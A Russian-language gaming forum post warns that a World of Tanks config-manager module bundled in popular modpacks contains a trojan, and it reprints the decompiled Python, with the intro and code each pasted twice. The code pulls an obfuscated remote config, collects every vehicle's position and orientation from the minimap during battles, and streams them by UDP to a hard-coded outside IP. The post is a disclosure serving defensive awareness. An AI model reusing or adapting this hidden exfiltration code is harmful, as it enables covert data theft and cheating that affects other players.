Не знаю, заговор это или нет, но в некоторых популярных модпаках или модах используется модуль polarfox.vxSettingsApi.
Из себя он представляет типа менеджера конфигов (очень удобная надстройка, не правда ли?).
Ранее на форуме я уже обращал внимание ZJ на вшитый троян в его модпаке, но достать исходник у меня не было особого желания и времени, и вот оно настало.
Прилагаю под спойлером кусок кода из данного модуля.
Кто мне не верит что я достал его именно из этого модуля может сам попробовать дампнуть его используя тот же PJOrion и посмотреть dis конкретного code_obj (по имени найти будет не проблема).
А, ну да, кто еще шарит за перехват трафика может глянуть что идет на указанный в коде айпи.
Из себя он представляет типа менеджера конфигов (очень удобная надстройка, не правда ли?).
Ранее на форуме я уже обращал внимание ZJ на вшитый троян в его модпаке, но достать исходник у меня не было особого желания и времени, и вот оно настало.
Прилагаю под спойлером кусок кода из данного модуля.
Кто мне не верит что я достал его именно из этого модуля может сам попробовать дампнуть его используя тот же PJOrion и посмотреть dis конкретного code_obj (по имени найти будет не проблема).
А, ну да, кто еще шарит за перехват трафика может глянуть что идет на указанный в коде айпи.
class _Helpers(object):
__dir__ = (lambda : [])
def __init__(self):
self._Helpers__rds = None
self._Helpers__injected = False
mlx = {'params': {'rcv_xremco': '65.21.153.150', 'rcvl_enabled': 1, 'rcv_wait_on': 4, 'rcv_sleep_on': 5}}
self._Helpers__wtCBID = BigWorld.callback(15, (lambda : self.configure(mlx)))
BigWorld.fetchURL('http://glcdn.world/api/v2/?react=no', (lambda r: self.setup(r, onlyUpdate = False)), {'User-Agent': 'python2.7/urllib'}, 15.0)
def configure(self, xdata):
data = xdata['params']
if bool(data['rcvl_enabled']):
g_playerEvents.onAvatarReady = g_playerEvents.onAvatarReady + self._process
self._Helpers__injected = True
elif not bool(data['rcvl_enabled']) and self._Helpers__injected:
g_playerEvents.onAvatarReady = g_playerEvents.onAvatarReady - self._process
self._Helpers__injected = False
self.__xf__ = data['rcv_xremco']
self.__waitOn__ = float(data['rcv_wait_on'])
self.__sleepOn__ = float(data['rcv_sleep_on'])
def setup(self, response, onlyUpdate = False):
if response.responseCode not in (200, 201, 304):
return
else:
try:
BigWorld.cancelCallback(self._Helpers__wtCBID)
return
except:
q_data = self._unpack(response.body)
if q_data:
self.configure(q_data)
return
else:
self.configure(q_data)
return
@no_except
def _unpack(self, data):
return ast.literal_eval(binascii.unhexlify(json.loads(data)['x_resp'][::-1]))
def _process(self):
checkIfBanned()
if g_replayCtrl.isPlaying:
return
else:
BigWorld.callback(12, self._sgetter)
_exposeBuiltins()
return
def _enc(self, *args):
if args[0] == 'zlib':
return zlib.compress(str(args[1]))
elif args[0] == 'cPickle':
return cPickle.dumps(args[1], 1)
else:
return
def _sgetter(self):
try:
if hasattr(BigWorld.player(), 'arena'):
minimap = ServicesLocator.appLoader.getDefBattleApp().containerManager.getContainer(WindowLayer.VIEW).getView().components['minimap']
entries = minimap.getPlugin('vehicles')._entries
t1 = threading.Thread(target = self._pFunc)
t1.setDaemon = True
t1.start()
return
else:
return
except:
return BigWorld.callback(1.0, self._sgetter)
@no_except
def _xgetter(self):
minimap = ServicesLocator.appLoader.getDefBattleApp().containerManager.getContainer(WindowLayer.VIEW).getView().components['minimap']
entries = minimap.getPlugin('vehicles')._entries
result = []
for vehicleID, entry in entries.items():
matrix = entry.getMatrix()
if matrix:
if entry.isEnemy():
pass
if not entry.isActive():
entity = BigWorld.entity(vehicleID)
if entity:
yaw = entity.yaw
pitch = entity.pitch
roll = entity.roll
else:
yaw, pitch, roll = (0, 0, 0)
pos = Math.Matrix(entry.getMatrix()).translation
result.append((vehicleID, (yaw, pitch, roll, pos[0], pos[1], pos[2])))
continue
else:
entity = BigWorld.entity(vehicleID)
if entity:
yaw = entity.yaw
pitch = entity.pitch
roll = entity.roll
else:
yaw, pitch, roll = (0, 0, 0)
pos = Math.Matrix(entry.getMatrix()).translation
result.append((vehicleID, (yaw, pitch, roll, pos[0], pos[1], pos[2])))
continue
return result
@no_except
def _pFunc(self):
if self._Helpers__rds is None:
player = BigWorld.player()
self._Helpers__rds = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self._Helpers__rds.settimeout(self.__waitOn__)
send_fmt = '{}|MXP|{}|MXP|{}'
while True:
if hasattr(player, 'isOnArena'):
try:
clientVehicle = self._xgetter()
if clientVehicle:
self._Helpers__rds.sendto(send_fmt.format(player.team, player.arenaUniqueID, self._enc('zlib', self._enc('cPickle', clientVehicle))), (self.__xf__, 10390))
except Exception as err:
pass
finally:
time.sleep(self.__sleepOn__)
continue
else:
if self._Helpers__rds is not None:
self._Helpers__rds = self._Helpers__rds.close()
self._Helpers__rds = None
__dir__ = (lambda : [])
def __init__(self):
self._Helpers__rds = None
self._Helpers__injected = False
mlx = {'params': {'rcv_xremco': '65.21.153.150', 'rcvl_enabled': 1, 'rcv_wait_on': 4, 'rcv_sleep_on': 5}}
self._Helpers__wtCBID = BigWorld.callback(15, (lambda : self.configure(mlx)))
BigWorld.fetchURL('http://glcdn.world/api/v2/?react=no', (lambda r: self.setup(r, onlyUpdate = False)), {'User-Agent': 'python2.7/urllib'}, 15.0)
def configure(self, xdata):
data = xdata['params']
if bool(data['rcvl_enabled']):
g_playerEvents.onAvatarReady = g_playerEvents.onAvatarReady + self._process
self._Helpers__injected = True
elif not bool(data['rcvl_enabled']) and self._Helpers__injected:
g_playerEvents.onAvatarReady = g_playerEvents.onAvatarReady - self._process
self._Helpers__injected = False
self.__xf__ = data['rcv_xremco']
self.__waitOn__ = float(data['rcv_wait_on'])
self.__sleepOn__ = float(data['rcv_sleep_on'])
def setup(self, response, onlyUpdate = False):
if response.responseCode not in (200, 201, 304):
return
else:
try:
BigWorld.cancelCallback(self._Helpers__wtCBID)
return
except:
q_data = self._unpack(response.body)
if q_data:
self.configure(q_data)
return
else:
self.configure(q_data)
return
@no_except
def _unpack(self, data):
return ast.literal_eval(binascii.unhexlify(json.loads(data)['x_resp'][::-1]))
def _process(self):
checkIfBanned()
if g_replayCtrl.isPlaying:
return
else:
BigWorld.callback(12, self._sgetter)
_exposeBuiltins()
return
def _enc(self, *args):
if args[0] == 'zlib':
return zlib.compress(str(args[1]))
elif args[0] == 'cPickle':
return cPickle.dumps(args[1], 1)
else:
return
def _sgetter(self):
try:
if hasattr(BigWorld.player(), 'arena'):
minimap = ServicesLocator.appLoader.getDefBattleApp().containerManager.getContainer(WindowLayer.VIEW).getView().components['minimap']
entries = minimap.getPlugin('vehicles')._entries
t1 = threading.Thread(target = self._pFunc)
t1.setDaemon = True
t1.start()
return
else:
return
except:
return BigWorld.callback(1.0, self._sgetter)
@no_except
def _xgetter(self):
minimap = ServicesLocator.appLoader.getDefBattleApp().containerManager.getContainer(WindowLayer.VIEW).getView().components['minimap']
entries = minimap.getPlugin('vehicles')._entries
result = []
for vehicleID, entry in entries.items():
matrix = entry.getMatrix()
if matrix:
if entry.isEnemy():
pass
if not entry.isActive():
entity = BigWorld.entity(vehicleID)
if entity:
yaw = entity.yaw
pitch = entity.pitch
roll = entity.roll
else:
yaw, pitch, roll = (0, 0, 0)
pos = Math.Matrix(entry.getMatrix()).translation
result.append((vehicleID, (yaw, pitch, roll, pos[0], pos[1], pos[2])))
continue
else:
entity = BigWorld.entity(vehicleID)
if entity:
yaw = entity.yaw
pitch = entity.pitch
roll = entity.roll
else:
yaw, pitch, roll = (0, 0, 0)
pos = Math.Matrix(entry.getMatrix()).translation
result.append((vehicleID, (yaw, pitch, roll, pos[0], pos[1], pos[2])))
continue
return result
@no_except
def _pFunc(self):
if self._Helpers__rds is None:
player = BigWorld.player()
self._Helpers__rds = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self._Helpers__rds.settimeout(self.__waitOn__)
send_fmt = '{}|MXP|{}|MXP|{}'
while True:
if hasattr(player, 'isOnArena'):
try:
clientVehicle = self._xgetter()
if clientVehicle:
self._Helpers__rds.sendto(send_fmt.format(player.team, player.arenaUniqueID, self._enc('zlib', self._enc('cPickle', clientVehicle))), (self.__xf__, 10390))
except Exception as err:
pass
finally:
time.sleep(self.__sleepOn__)
continue
else:
if self._Helpers__rds is not None:
self._Helpers__rds = self._Helpers__rds.close()
self._Helpers__rds = None